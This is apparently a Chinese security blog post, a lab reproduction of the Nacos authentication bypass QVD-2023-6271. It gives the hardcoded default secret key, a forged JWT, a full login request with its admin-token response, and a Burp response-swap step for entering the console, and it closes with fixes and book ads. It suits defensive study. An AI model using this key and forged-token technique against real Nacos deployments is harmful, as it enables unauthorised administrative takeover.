Nacos身份绕过漏洞(QVD-2023-6271)复现学习

admin 2023年3月17日18:02:57评论379 views字数 3981阅读13分16秒阅读模式
✎ 阅读须知


乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!


更新时间:2023年03月15日20:32:24

本文首发于t00ls:https://www.t00ls.com/viewthread.php?tid=68771

本漏洞官方已在两周前发布修复方案,本文仅用于学习,绝对禁止用于非法渗透测试活动!!!

1. 漏洞介绍

本文仅做复现,不做分析!

其实就是默认key的问题,比如:shiro550exchange CVE-2020-0688jwt伪造等,都是类似的问题。

参考文档:

https://www.cnblogs.com/max-home/p/16795886.htmlhttps://okaytc.github.io/posts/ad3be142.html

Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。

目前Nacos 身份认证绕过漏洞(QVD-2023-6271),也叫做NVDB-CNVDB-2023674205,暂无CVE编号,开源服务管理平台Nacos在默认配置下未对token.secret.key进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

参考:https://mp.weixin.qq.com/s/5lE_9I6-r1CE8CYtUZG1rQ

漏洞影响范围:

0.1.0 <= Nacos <= 2.2.0基本上都受到了影响,最新的版本已修复漏洞。

2. 环境搭建

2.1 漏洞版本下载

首先从GitHub下载带有漏洞的源码:

https://github.com/alibaba/nacos/releases

在这里最新版本已经修复了相关的漏洞,所以在这里需要使用其它的版本来进行复现:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

可以选择这个:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

下载到本地之后,在有java8以上的环境下进行快速部署。

2.2 漏洞部署

部署环境:Windows10 + java8   ip地址:10.211.55.5

在这里按照教程,解压之后,在bin目录下使用cmd使用命令startup.cmd -m standalone来启动,但是在这里启动会遇到问题:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

Please set the JAVA_HOME variable in your environment, We need java(x64)! jdk8 or later is better!

但是我们本地是有java的环境的:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

这个原因并不是我们的java版本错误,而是需要修改一下在bat文件中的java路径,打开startup.cmd

找到jdk的路径:C:javajdk

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

在这里补充你的javajdk的位置,不要到bin,它会自动拼接,jdk的位置:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

set JAVA_HOME="C:javajdk"

在这里一定要注意set JAVA_HOME="C:javajdk"jdk后面这里不要加,不然就会报错!!!

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

然后再使用命令就起来了:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

此时访问10.211.55.5:8848,就可以看到nacos启动了:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

拼接路径nacos到路径:

http://10.211.55.5:8848/nacos/#/login

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

到此,漏洞环境准备完成。

3. 漏洞复现

nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

3.1 获取token

利用该默认key可进行jwt构造,直接进入后台,构造方法:在https://jwt.io/中:输入默认key:

SecretKey012345678901234567890123456789012345678901234567890123456789

然后再payload里面输入:

{
  "sub""nacos",
  "exp"1678899909
}

在这里注意:1678899909这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年03月15日22:11:09,在这里面的时间戳时间是3月16号了:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

复制上面得到的值,在burp里面选择登录之后构造:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
Nacos身份绕过漏洞(QVD-2023-6271)复现学习

方框里面需要自行添加:

POST /nacos/v1/auth/users/login HTTP/1.1
Host: 10.211.55.5:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.211.55.5:8848
Connection: close
Referer: http://10.211.55.5:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

username=crowsec&password=crowsec

此时就得到了token信息:

HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
Content-Type: application/json
Date: Wed, 15 Mar 2023 14:13:22 GMT
Connection: close
Content-Length: 197

{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}

此时就得到了nacostoken信息。

3.2 利用获取token登录后台

如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看:

先用假账号登录,用burp拦截:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

这肯定进不去的,在这里修改返回包,右键看下这个:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

然后Forward,这边返回的信息肯定是无效的:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

在这里使用刚刚burp里面生成的返回包进行替换,全部复制过去:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习
image.png

forward一次:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

此时就已经进入了后台:

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

4. 修复

  • 升级到最新版nacos,官方已经在两周前修复漏洞
  • 修改配置文件中secret key的值

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

新书推荐

Nacos身份绕过漏洞(QVD-2023-6271)复现学习
Nacos身份绕过漏洞(QVD-2023-6271)复现学习
本次为大家推荐新书《HCSA/RHCE8红帽Linux认证学习教程》,RHCE考试学习指南:包括RHEL中使用最频繁的知识点,帮助你顺利通过RHCE考试,同时也能应对企业需求。书中所有知识点均有详细的操作步骤,读者只要按照实验步骤逐步练习即可,学习轻松。
本书从零基础开始讲解,系统介绍了RHCE8的相关知识,以帮助读者快速了解及熟练掌握RHCE8的相关操作,是一本高品质的RHCE认证的学习书籍。

Nacos身份绕过漏洞(QVD-2023-6271)复现学习


点击上方链接,更多优惠等你哦~



tips:加我wx,拉你入群,一起学习


Nacos身份绕过漏洞(QVD-2023-6271)复现学习


Nacos身份绕过漏洞(QVD-2023-6271)复现学习

Nacos身份绕过漏洞(QVD-2023-6271)复现学习
Nacos身份绕过漏洞(QVD-2023-6271)复现学习

扫取二维码获取

更多精彩

乌鸦安全

Nacos身份绕过漏洞(QVD-2023-6271)复现学习

原文始发于微信公众号(乌鸦安全):Nacos身份绕过漏洞(QVD-2023-6271)复现学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月17日18:02:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nacos身份绕过漏洞(QVD-2023-6271)复现学习https://cn-sec.com/archives/1611572.html

发表评论

匿名网友 填写信息